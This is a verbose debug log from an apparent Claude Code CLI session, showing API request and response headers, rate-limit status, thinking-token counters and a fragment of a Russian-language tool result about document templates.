\u043c\u043d\u043e\u0433\u0438\u0435-\u043a\u043e-\u043c\u043d\u043e\u0433\u0438\u043c. |\\n74:3. **\u00ab\u0414\u043b\u044f API, \u041b\u041a \u0438 \u041a\u0426 \u043d\u0443\u0436\u043d\u044b \u0442\u0440\u0438 \u043d\u0435\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0445 \u0441\u043a\u0435\u043b\u0435\u0442\u0430\u00bb.** \u041d\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043e.\\n75:   \u0421\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0441\u0435\u043c\u044c \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u044b; API \u0443\u0441\u0438\u043b\u0438\u0432\u0430\u0435\u0442 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442,\\n115:- \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u043b\u0435\u0439, \u043a\u043d\u043e\u043f\u043e\u043a, \u0432\u043a\u043b\u0430\u0434\u043e\u043a, \u043c\u0435\u0442\u043e\u0434\u043e\u0432 API, HTTP-\u043a\u043e\u0434\u043e\u0432 \u0438 \u0444\u043e\u0440\u043c\u0430\u0442\u043e\u0432 payload;\\n126:## Golden Form 1 \u2014 \u0434\u043e\u0440\u0430\u0431\u043e\u0442\u043a\u0430 API\",\n[2026-09-29T07:55:15.403Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T07:55:15.403Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:55:15.403Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:55:15.403Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T07:55:15.403Z] [INFO]   }\n[2026-09-29T07:55:15.403Z] [INFO] }\n[2026-09-29T07:55:15.479Z] [STDOUT] [log_a033f0] sending request {\n[2026-09-29T07:55:15.529Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:55:15.545Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:55:15.556Z] [STDOUT]   options: {\n[2026-09-29T07:55:15.586Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:55:15.594Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:55:15.611Z] [STDOUT]     body: {\n[2026-09-29T07:55:15.629Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:55:15.642Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:55:15.655Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:55:15.659Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:55:15.663Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:55:15.672Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:55:15.682Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:55:15.685Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:55:15.691Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:55:15.694Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:55:15.696Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:55:15.697Z] [STDOUT]       stream: true,\n[2026-09-29T07:55:15.700Z] [STDOUT]     },\n[2026-09-29T07:55:15.702Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:55:15.704Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:55:15.706Z] [STDOUT]       aborted: false,\n[2026-09-29T07:55:15.708Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:55:15.710Z] [STDOUT]       onabort: null,\n[2026-09-29T07:55:15.712Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:55:15.714Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:55:15.716Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:55:15.718Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:55:15.720Z] [STDOUT]     },\n[2026-09-29T07:55:15.721Z] [STDOUT]     stream: true,\n[2026-09-29T07:55:15.723Z] [STDOUT]   },\n[2026-09-29T07:55:15.725Z] [STDOUT]   headers: {\n[2026-09-29T07:55:15.727Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:55:15.729Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:55:15.737Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:55:15.743Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:55:15.749Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:55:15.752Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:55:15.757Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:55:15.761Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:55:15.764Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:55:15.766Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1833;Bash=1875\",\n[2026-09-29T07:55:15.768Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:55:15.769Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:55:15.772Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:55:15.776Z] [STDOUT]     \"x-client-request-id\": \"072584c6-51af-4ac8-8c37-40c9e2cd037a\",\n[2026-09-29T07:55:15.778Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:55:15.780Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:55:15.782Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:55:15.784Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:55:15.787Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:55:15.789Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:55:15.791Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:55:15.793Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:55:15.794Z] [STDOUT]   },\n[2026-09-29T07:55:15.796Z] [STDOUT] }\n[2026-09-29T07:55:16.217Z] [STDOUT] [log_a033f0, request-id: \"req_011CfXNWJRzJcsUvKMcHS1WV\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 740ms\n[2026-09-29T07:55:16.220Z] [STDOUT] [log_a033f0] response start {\n[2026-09-29T07:55:16.224Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:55:16.229Z] [STDOUT]   status: 200,\n[2026-09-29T07:55:16.233Z] [STDOUT]   headers: {\n[2026-09-29T07:55:16.237Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:55:16.243Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:55:16.248Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:55:16.254Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.41\",\n[2026-09-29T07:55:16.260Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:55:16.264Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:55:16.273Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:55:16.279Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:55:16.288Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:55:16.304Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:55:16.307Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:55:16.310Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:55:16.314Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:55:16.317Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:55:16.322Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:55:16.332Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:55:16.344Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:55:16.351Z] [STDOUT]     \"cf-ray\": \"a4296cadca0f5d90-FRA\",\n[2026-09-29T07:55:16.378Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:55:16.383Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:55:16.387Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:55:16.391Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:55:16.397Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:55:16 GMT\",\n[2026-09-29T07:55:16.403Z] [STDOUT]     \"request-id\": \"req_011CfXNWJRzJcsUvKMcHS1WV\",\n[2026-09-29T07:55:16.410Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:55:16.416Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:55:16.440Z] [STDOUT]     traceresponse: \"00-3e27c5283e223cfef23dbe48713fb349-b19c2cb100e84e87-01\",\n[2026-09-29T07:55:16.446Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:55:16.469Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:55:16.475Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:55:16.478Z] [STDOUT]   },\n[2026-09-29T07:55:16.483Z] [STDOUT]   durationMs: 740,\n[2026-09-29T07:55:16.489Z] [STDOUT] }\n[2026-09-29T07:55:16.492Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:55:16.494Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:55:16 GMT\",\n[2026-09-29T07:55:16.497Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:55:16.500Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:55:16.512Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:55:16.518Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:55:16.524Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:55:16.528Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:55:16.531Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:55:16.534Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:55:16.537Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:55:16.547Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:55:16.558Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:55:16.564Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:55:16.577Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.41\",\n[2026-09-29T07:55:16.583Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:55:16.588Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:55:16.593Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:55:16.597Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:55:16.600Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:55:16.614Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:55:16.619Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:55:16.626Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:55:16.630Z] [STDOUT]   \"request-id\": \"req_011CfXNWJRzJcsUvKMcHS1WV\",\n[2026-09-29T07:55:16.636Z] [STDOUT]   \"traceresponse\": \"00-3e27c5283e223cfef23dbe48713fb349-b19c2cb100e84e87-01\",\n[2026-09-29T07:55:16.641Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:55:16.649Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:55:16.655Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:55:16.661Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:55:16.667Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:55:16.672Z] [STDOUT]   \"cf-ray\": \"a4296cadca0f5d90-FRA\",\n[2026-09-29T07:55:16.676Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:55:16.679Z] [STDOUT] [log_a033f0] response parsed {\n[2026-09-29T07:55:16.681Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:55:16.684Z] [STDOUT]   status: 200,\n[2026-09-29T07:55:16.687Z] [STDOUT]   body: X {\n[2026-09-29T07:55:16.691Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:55:16.697Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:55:16.701Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:55:16.706Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:55:16.711Z] [STDOUT]     },\n[2026-09-29T07:55:16.713Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:55:16.722Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:55:16.736Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:55:16.754Z] [STDOUT]   },\n[2026-09-29T07:55:16.760Z] [STDOUT]   durationMs: 742,\n[2026-09-29T07:55:16.767Z] [STDOUT] }\n[2026-09-29T07:55:16.770Z] [INFO] {\n[2026-09-29T07:55:16.770Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:55:16.770Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:55:16.770Z] [INFO]   \"estimated_tokens\": 50,\n[2026-09-29T07:55:16.770Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:55:16.770Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:55:16.770Z] [INFO]   \"uuid\": \"cd47ede9-7d18-46c4-9ac9-0d443d9cfe92\"\n[2026-09-29T07:55:16.770Z] [INFO] }\n[2026-09-29T07:55:17.837Z] [INFO] {\n[2026-09-29T07:55:17.837Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:55:17.837Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:55:17.837Z] [INFO]   \"estimated_tokens\": 100,\n[2026-09-29T07:55:17.837Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:55:17.837Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:55:17.837Z] [INFO]   \"uuid\": \"f53f83ba-154f-42de-9264-9dea7ca75841\"\n[2026-09-29T07:55:17.837Z] [INFO] }\n[2026-09-29T07:55:18.893Z] [INFO] {\n[2026-09-29T07:55:18.893Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:55:18.893Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:55:18.893Z] [INFO]   \"estimated_tokens\": 250,\n[2026-09-29T07:55:18.893Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:55:18.893Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:55:18.893Z] [INFO]   \"uuid\": \"bbefff91-1ea9-44eb-99f3-ad8dde664c50\"\n[2026-09-29T07:55:18.893Z] [INFO] }\n[2026-09-29T07:55:21.341Z] [INFO] {\n[2026-09-29T07:55:21.341Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:55:21.341Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:55:21.341Z] [INFO]   \"estimated_tokens\": 402,\n[2026-09-29T07:55:21.341Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:55:21.341Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:55:21.341Z] [INFO]   \"uuid\": \"83d35e72-7a0b-45a5-85a7-f3fcbb98b7ac\"\n[2026-09-29T07:55:21.341Z] [INFO] }\n[2026-09-29T07:55:21.369Z] [INFO] {\n[2026-09-29T07:55:21.369Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:55:21.369Z] [INFO]   \"message\": {\n[2026-09-29T07:55:21.369Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:55:21.369Z] [INFO]     \"id\": \"msg_011CfXNWJsnACnTn71a2cT3L\",\n[2026-09-29T07:55:21.369Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:55:21.369Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:55:21.369Z] [INFO]     \"content\": [\n[2026-09-29T07:55:21.369Z] [INFO]       {\n[2026-09-29T07:55:21.369Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:55:21.369Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:55:21.369Z] [INFO]         \"signature\": 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[INFO]       }\n[2026-09-29T07:55:21.369Z] [INFO]     ],\n[2026-09-29T07:55:21.369Z] [INFO]     \"container\": null,\n[2026-09-29T07:55:21.369Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:55:21.369Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:55:21.369Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:55:21.369Z] [INFO]     \"usage\": {\n[2026-09-29T07:55:21.369Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:55:21.369Z] [INFO]       \"cache_creation_input_tokens\": 7629,\n[2026-09-29T07:55:21.369Z] [INFO]       \"cache_read_input_tokens\": 41603,\n[2026-09-29T07:55:21.369Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:55:21.369Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:55:21.369Z] [INFO]         \"ephemeral_1h_input_tokens\": 7629\n[2026-09-29T07:55:21.369Z] [INFO]       },\n[2026-09-29T07:55:21.369Z] [INFO]       \"output_tokens\": 5,\n[2026-09-29T07:55:21.369Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:55:21.369Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:55:21.369Z] [INFO]     },\n[2026-09-29T07:55:21.369Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:55:21.369Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:55:21.369Z] [INFO]     \"context_management\": null\n[2026-09-29T07:55:21.369Z] [INFO]   },\n[2026-09-29T07:55:21.369Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:55:21.369Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:55:21.369Z] [INFO]   \"uuid\": \"bf86b672-e9d0-4325-8df7-596beed55301\",\n[2026-09-29T07:55:21.369Z] [INFO]   \"timestamp\": \"2026-09-29T07:55:21.341Z\",\n[2026-09-29T07:55:21.369Z] [INFO]   \"request_id\": \"req_011CfXNWJRzJcsUvKMcHS1WV\"\n[2026-09-29T07:55:21.369Z] [INFO] }\n[2026-09-29T07:55:21.377Z] [INFO] {\n[2026-09-29T07:55:21.377Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:55:21.377Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:55:21.377Z] [INFO]   \"estimated_tokens\": 7,\n[2026-09-29T07:55:21.377Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:55:21.377Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:55:21.377Z] [INFO]   \"uuid\": \"58b4945c-4118-4d81-9928-6ca37c7d00d8\"\n[2026-09-29T07:55:21.377Z] [INFO] }\n[2026-09-29T07:55:21.385Z] [INFO] {\n[2026-09-29T07:55:21.385Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:55:21.385Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:55:21.385Z] [INFO]   \"estimated_tokens\": 15,\n[2026-09-29T07:55:21.385Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:55:21.385Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:55:21.385Z] [INFO]   \"uuid\": \"fd8496a2-fd82-4539-b1d3-1b87e45145d4\"\n[2026-09-29T07:55:21.385Z] [INFO] }\n[2026-09-29T07:55:21.390Z] [INFO] {\n[2026-09-29T07:55:21.390Z] [INFO]   \"type\": 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[INFO] {\n[2026-09-29T07:55:21.405Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:55:21.405Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:55:21.405Z] [INFO]   \"estimated_tokens\": 29,\n[2026-09-29T07:55:21.405Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:55:21.405Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:55:21.405Z] [INFO]   \"uuid\": \"b891ea1f-8507-4bc9-8a03-091aa3f94d05\"\n[2026-09-29T07:55:21.405Z] [INFO] }\n[2026-09-29T07:55:21.409Z] [INFO] {\n[2026-09-29T07:55:21.409Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:55:21.409Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:55:21.409Z] [INFO]   \"estimated_tokens\": 33,\n[2026-09-29T07:55:21.409Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:55:21.409Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:55:21.409Z] [INFO]   \"uuid\": \"58bb93bb-1394-446f-8d17-0fa346008ed9\"\n[2026-09-29T07:55:21.409Z] [INFO] }\n[2026-09-29T07:55:21.412Z] [INFO] {\n[2026-09-29T07:55:21.412Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:55:21.412Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:55:21.412Z] [INFO]   \"estimated_tokens\": 41,\n[2026-09-29T07:55:21.412Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:55:21.412Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:55:21.412Z] [INFO]   \"uuid\": \"8dbebc17-a5fb-4b4f-84eb-8df6bf83c353\"\n[2026-09-29T07:55:21.412Z] [INFO] }\n[2026-09-29T07:55:21.418Z] [INFO] {\n[2026-09-29T07:55:21.418Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:55:21.418Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:55:21.418Z] [INFO]   \"estimated_tokens\": 42,\n[2026-09-29T07:55:21.418Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:55:21.418Z] [INFO]   \"session_id\": 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63,\n[2026-09-29T07:55:21.448Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:55:21.448Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:55:21.448Z] [INFO]   \"uuid\": \"99d03471-d336-4187-8e64-5e44126b8ea5\"\n[2026-09-29T07:55:21.448Z] [INFO] }\n[2026-09-29T07:55:21.455Z] [INFO] {\n[2026-09-29T07:55:21.455Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:55:21.455Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:55:21.455Z] [INFO]   \"estimated_tokens\": 69,\n[2026-09-29T07:55:21.455Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:55:21.455Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:55:21.455Z] [INFO]   \"uuid\": \"a60b8dea-1697-40ef-974d-047b26b1f905\"\n[2026-09-29T07:55:21.455Z] [INFO] }\n[2026-09-29T07:55:21.460Z] [INFO] {\n[2026-09-29T07:55:21.460Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:55:21.460Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:55:21.460Z] [INFO]   \"estimated_tokens\": 75,\n[2026-09-29T07:55:21.460Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:55:21.460Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:55:21.460Z] [INFO]   \"uuid\": \"ad7b5c02-edc2-4029-b2fe-b6129fd0e0e2\"\n[2026-09-29T07:55:21.460Z] [INFO] }\n[2026-09-29T07:55:21.463Z] [INFO] {\n[2026-09-29T07:55:21.463Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:55:21.463Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:55:21.463Z] [INFO]   \"estimated_tokens\": 76,\n[2026-09-29T07:55:21.463Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:55:21.463Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:55:21.463Z] [INFO]   \"uuid\": \"59594c35-0b52-4d2c-aef1-229012de5fc5\"\n[2026-09-29T07:55:21.463Z] [INFO] }\n[2026-09-29T07:55:21.467Z] [INFO] {\n[2026-09-29T07:55:21.467Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:55:21.467Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:55:21.467Z] [INFO]   \"estimated_tokens\": 216,\n[2026-09-29T07:55:21.467Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:55:21.467Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:55:21.467Z] [INFO]   \"uuid\": \"1d386aa1-0df3-4e33-9b44-9c2592436d82\"\n[2026-09-29T07:55:21.467Z] [INFO] }\n[2026-09-29T07:55:21.480Z] [INFO] {\n[2026-09-29T07:55:21.480Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:55:21.480Z] [INFO]   \"message\": {\n[2026-09-29T07:55:21.480Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:55:21.480Z] [INFO]     \"id\": \"msg_011CfXNWJsnACnTn71a2cT3L\",\n[2026-09-29T07:55:21.480Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:55:21.480Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:55:21.480Z] [INFO]     \"content\": [\n[2026-09-29T07:55:21.480Z] [INFO]       